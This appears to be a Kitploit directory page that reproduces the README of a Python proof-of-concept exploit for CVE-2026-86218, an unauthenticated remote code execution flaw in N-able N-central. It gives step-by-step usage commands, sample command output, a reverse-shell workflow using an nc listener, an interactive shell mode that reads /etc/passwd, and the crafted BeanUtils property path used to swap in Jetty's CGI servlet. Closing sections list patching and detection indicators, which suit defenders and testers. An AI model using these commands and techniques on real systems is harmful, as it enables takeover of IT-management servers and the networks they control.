Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-86218 — Python 3 proof-of-concept exploit for CVE-2026-86218, a pre-auth RCE in N-able N-central via a Struts multipart race condition, with command execution and reverse shell support. | Kitploit
Tools/GitHubGitHub/super-meuw/cve-2026-86218
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRed TeamingRemote Access ToolPayload Development
GitHubsuper-meuw/cve-2026-86218

CVE-2026-86218

Python 3 proof-of-concept exploit for CVE-2026-86218, a pre-auth RCE in N-able N-central via a Struts multipart race condition, with command execution and reverse shell support.

21 day agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit

Overview

This is a Python 3 proof-of-concept exploit for CVE-2026-86218, a critical pre-authentication remote code execution vulnerability in N-able N-central.

Vulnerability Details:

  • CVE: CVE-2026-86218
  • CVSS Score: 10.0 (Critical)
  • CWE: CWE-96 (Static Code Injection)
  • Affected Versions: N-central < 2026.3.1.14
  • Attack Vector: Network (Unauthenticated)

Vulnerability Description

N-able N-central uses a session-scoped Struts form on an unauthenticated action (/remoteControlAction.do). Two concurrent multipart requests can race the form's multipart handler and expose Jetty's live configuration to Commons BeanUtils property population. This allows an attacker to:

  1. Replace a lazy N-central servlet holder (e.g., LogRetrieval) with Jetty's bundled CGI servlet
  2. Configure the CGI servlet to execute arbitrary commands via /bin/sh -s
  3. Send commands through the replaced servlet's URL mapping

Requirements

root@kitploit:~
pip install requests

Usage

Basic Syntax

root@kitploit:~
python3 CVE-2026-86218.py -t <target_url> [options]

Options

OptionDescription
-t, --targetTarget N-central URL (e.g., https://192.168.1.100)
-c, --commandSingle command to execute
-i, --interactiveInteractive command mode
--lhostListener IP for reverse shell
--lportListener port (default: 4444)
--servletServlet to replace: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet
--checkCheck if target is vulnerable
--no-verify-sslDisable SSL certificate verification
--timeoutRequest timeout (default: 30s)
--race-delayRace condition delay (default: 0.35s)
-v, --verboseEnable verbose output

Examples

1. Check if Target is Vulnerable

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl

Expected Output:

root@kitploit:~
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable

2. Execute Single Command

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl

Expected Output:

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)

3. Reverse Shell

Start listener first:

root@kitploit:~
nc -lvnp 4444

Run exploit:

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl

Expected Output:

root@kitploit:~
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection

Listener output:

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)

4. Interactive Mode

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl

Interactive Session:

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup

ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)

ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...

ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!

ncentral> exit

5. Using Different Servlet

root@kitploit:~
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl

Servlet Options

ServletDescriptionImpact
LogRetrievalLog retrieval endpoint (default)Least disruptive, logs unavailable until restart
FileTransferFile transfer endpointDisrupts file transfer functionality
AutomationManagerDownloadServletAutomation manager downloadRequires management UI port (8443)

How It Works

Exploitation Flow

  1. Version Check: Query /remoteControlAction.do to extract version from error page
  2. Session Acquisition: Get unauthenticated JSESSIONID
  3. Race Condition:
    • Send slow multipart request that pauses during parsing
    • While paused, send helper request to install handler on shared form
    • Resume slow request with BeanUtils property injection fields
  4. Servlet Replacement: Replace LogRetrieval with Jetty CGI servlet
  5. Command Execution: Send commands through CGI endpoint

Technical Details

The vulnerability exploits a race condition in Struts' multipart form handling:

  • Struts stores one form object per HTTP session
  • At the start of a multipart request, Struts removes the form's multipart handler
  • A slow request pauses while Struts is still reading the body
  • A helper request finishes and installs its initialized handler
  • When the slow request continues, BeanUtils follows crafted field names through the handler
  • These fields navigate to Jetty's WebAppContext and replace the servlet holder

The mutation fields use JavaBean property paths:

root@kitploit:~
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass

This traverses: multipart handler → servlet context → classloader → WebAppContext → servlet handler → specific holder

Mitigation

  1. Patch immediately: Upgrade to N-central 2026.3.1.14 or later
  2. Restrict access: Limit inbound access to N-central console
  3. Network segmentation: Place N-central behind VPN or IP allowlisting
  4. Monitor logs: Check for suspicious API activity and user creation

Detection

Log Indicators

  • Unusual requests to /remoteControlAction.do
  • Multipart requests with unusual field names
  • CGI-related activity on LogRetrieval endpoints
  • Unexpected user account creation

Network Indicators

  • Multiple rapid requests to same endpoint
  • Large multipart payloads
  • Connections from unusual source IPs

References

  • N-able Security Advisory
  • N-able Hotfix 4 Release Notes
  • Rapid7 Metasploit Module
  • Huntress Blog Post
  • CISA KEV Catalog

Disclaimer

This exploit is provided for authorized security testing and educational purposes only. Unauthorized use of this exploit against systems you do not own or have permission to test is illegal and unethical.

Always obtain proper authorization before conducting penetration testing activities.

Credits

  • Vulnerability discovery: N-able Security Team
  • Metasploit module: sfewer-r7 (Rapid7)
  • Exploit development: Based on Rapid7 research and public advisories
Download Tool